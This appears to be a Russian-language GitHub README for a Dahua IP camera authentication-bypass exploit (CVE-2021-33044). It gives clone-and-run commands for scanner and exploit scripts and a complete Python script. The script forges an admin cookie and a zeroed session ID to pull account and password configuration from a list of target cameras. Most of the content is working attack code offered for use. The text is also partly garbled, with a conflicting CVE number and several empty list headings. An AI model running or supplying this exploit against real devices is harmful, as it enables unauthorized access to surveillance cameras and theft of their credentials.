
DAHUA_AUTH-BYPASS-CVE-2021-33044
IP-камеры Dahua — это IoT-устройства, широко используемые в системах видеонаблюдения. Поскольку они часто развертываются в локальных сетях или доступны через Интернет, уязвимости безопасности в IP-камерах могут серьезно повлиять на конфиденциальность и безопасность информации.
CVE-2021-33045 — это уязвимость безопасности, существующая в некоторых моделях камер Dahua, позволяющая несанкционированный доступ к внутренним конфигурационным ресурсам без надлежащей аутентификации. Эта уязвимость возникает из-за нестрогого механизма контроля доступа в прошивке устройства.
| Пункт | Содержание |
|---|---|
| CVE | CVE-2021-33044 |
| Тип | Обход аутентификации |
| Степень | Критическая (CVSS ~9.8) |
| Аутентификация | Не требуется |
| Влияние | Камеры Dahua / DVR / NVR |
Уязвимость возникает из-за небезопасной конструкции аутентификации в прошивке камер Dahua:
Это позволяет атакующему:
Ссылки:
→ Клиент отправляет HTTP-запрос с произвольным cookie
→ Камера проверяет cookie на уровне интерфейса
→ Отсутствует проверка действительной сессии на бэкенде
→ Разрешает прямой доступ к внутренним конфигурационным конечным точкам
→ Возвращает чувствительные данные
| Файл | Цель | CVE |
|---|---|---|
dahua_scanner.py | Обнаружение сети — поиск камер Dahua в подсети | Обнаружение |
dahua_exploit.py | Инструмент сканирования Multi-CVE — проверка всех уязвимостей безопасности. | Все |
dahua_auth_bypass.py | Специализированный обход аутентификации с опцией --dump | CVE-2021-33044 |
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
Common Dahua ports: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump устройства после обхода
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
Скрипт использует библиотеку requests и активно отключает предупреждения SSL, чтобы отключить предупреждения SSL
Функция dump_accounts(ip, port=80) является основной функцией, ответственной за проверку одного устройства камеры.
Основная функция функции заключается в:
Имитация cookie аутентификации. Функция использует такие значения cookie, как:
userName=adminuserLevel=1sessionID=00000000В уязвимых версиях камер бэкенд не проверяет фактический sessionID, что приводит к тому, что система считает, что запрос отправлен от действительной учетной записи администратора.
Скрипт читает список целей из входного файла, последовательно вызывая функцию проверки для каждого устройства. Такой подход позволяет автоматически оценивать множество камер.
Эти скрипты были разработаны на основе:
Статус тестирования:
Этот проект: